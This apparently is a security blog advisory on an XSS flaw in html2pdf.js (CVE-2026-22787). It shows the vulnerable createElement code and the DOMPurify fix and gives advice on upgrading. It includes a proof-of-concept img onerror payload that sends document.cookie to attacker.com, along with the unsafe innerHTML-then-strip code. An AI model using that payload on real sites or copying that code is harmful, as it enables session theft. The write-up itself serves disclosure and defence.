PDFs, Promises, and Pain: Slicing Open html2pdf.js (CVE-2026-22787)

Let's be honest: nobody likes generating PDFs. It's the digital equivalent of doing taxes. You have to mess with coordinates, fonts that don't load, and layout engines that behave like they're from 1998. Enter html2pdf.js. It promises a dream: give it an HTML string, and it gives you a shiny PDF using html2canvas and jspdf under the hood.

It works beautifully. Developers love it. They hook it up to invoice generators, report builders, and 'Export to PDF' buttons everywhere. And because it runs in the browser, nobody thinks about sanitization. "It's just client-side," they say. "What could go wrong?"

Everything. Everything could go wrong. Because when you take a string from a user and tell the browser "render this as HTML," you are essentially handing the keys to the kingdom to anyone who knows how to close an <img> tag.

The root cause here isn't just a bug; it's a fundamental misunderstanding of how browsers work. The vulnerability lies in the Worker class, specifically how it handles string input via the .from() method.

To convert a string of HTML into a PDF, the library first needs to render it into the DOM so html2canvas can take a picture of it. The developers did the obvious thing: they created a temporary container and set its content.

But they knew XSS was a risk. So, they implemented a mitigation. They decided to insert the HTML, and then look for <script> tags and remove them. This is the security equivalent of letting a burglar into your house and then asking them nicely to leave their guns at the door—after they've already shot you.

Browsers execute HTML sequentially and immediately. When you assign a string to innerHTML, the parser runs. If that string contains <img src=x onerror=alert(1)>, the browser attempts to load the image, fails, triggers the error, and executes the alert before the next line of JavaScript code even runs. The library's cleanup routine arrives too late to save the day.

Let's look at the smoking gun in src/utils.js. This creates the element that will eventually be snapshotted.

The Vulnerable Code (Pre-0.14.0):

export const createElement = function createElement(tagName, opt) {
  var el = document.createElement(tagName);
  if (opt.className)  el.className = opt.className;
  
  if (opt.innerHTML) {
    // DANGER ZONE START
    el.innerHTML = opt.innerHTML; // <--- The fatal flaw
    var scripts = el.getElementsByTagName('script');
    // The futile attempt to clean up the mess
    for (var i = scripts.length; i-- > 0; null) {
      scripts[i].parentNode.removeChild(scripts[i]);
    }
    // DANGER ZONE END
  }
  return el;
};

See that el.innerHTML = opt.innerHTML? That is the exact moment the exploit fires. The for loop below it is effectively dead code security-wise. It removes <script> tags, sure, but it ignores onerror, onload, onmouseover, SVG scripts, and a dozen other vectors.

The Fix (v0.14.0):

The maintainers finally brought in the heavy artillery: DOMPurify. This library is the gold standard for HTML sanitization because it strips dangerous bits before the browser renders them.

import DOMPurify from 'dompurify';
 
export const createElement = function createElement(tagName, opt) {
  var el = document.createElement(tagName);
  if (opt.className) el.className = opt.className;
  
  if (opt.innerHTML) {
    // Sanitize BEFORE assignment
    el.innerHTML = DOMPurify.sanitize(opt.innerHTML);
  }
  return el;
};

Since the library was only filtering <script> tags (a classic blacklist failure), exploiting this is trivial for anyone who has passed XSS 101.

The Scenario: Imagine an internal dashboard where employees can customize their profile bio. The dashboard has a "Download Profile as PDF" feature using html2pdf.js. An attacker sets their bio to the payload below.

The Payload:

// We don't need <script> tags. We just need an event handler.
const payload = '<img src="nonexistent.jpg" onerror="fetch(\'https://attacker.com/steal?c=\' + document.cookie)">';
 
// When the victim clicks "Download PDF"...
html2pdf().from(payload).save();

The Execution Flow:

1. The victim clicks "Export".
2. html2pdf takes the bio string.
3. It calls createElement.
4. It sets innerHTML. The browser parses <img ...>.
5. The browser fires onerror immediately.
6. The cookie is sent to the attacker.
7. The library checks for <script> tags, finds none, and proceeds to generate a PDF of the broken image. The crime is already done.

If you are using html2pdf.js version 0.13.x or lower, you are vulnerable. The fix is straightforward, but you need to verify it actually applies to your build pipeline.

Primary Fix: Upgrade to version 0.14.0 or later. The maintainers added dompurify as a dependency.

npm install html2pdf.js@latest

Defense in Depth: Even with the patched library, trusting client-side sanitization entirely can be risky if the library configuration is loose. Ideally, you should sanitize HTML on the server-side before it ever reaches the client. If you must generate PDFs from user input, treat that input as radioactive material.

If you cannot upgrade immediately (legacy projects are fun, right?), you must manually sanitize the string before passing it to .from():

import DOMPurify from 'dompurify';
 
// Manually clean it before html2pdf touches it
const cleanHTML = DOMPurify.sanitize(dirtyInput);
html2pdf().from(cleanHTML).save();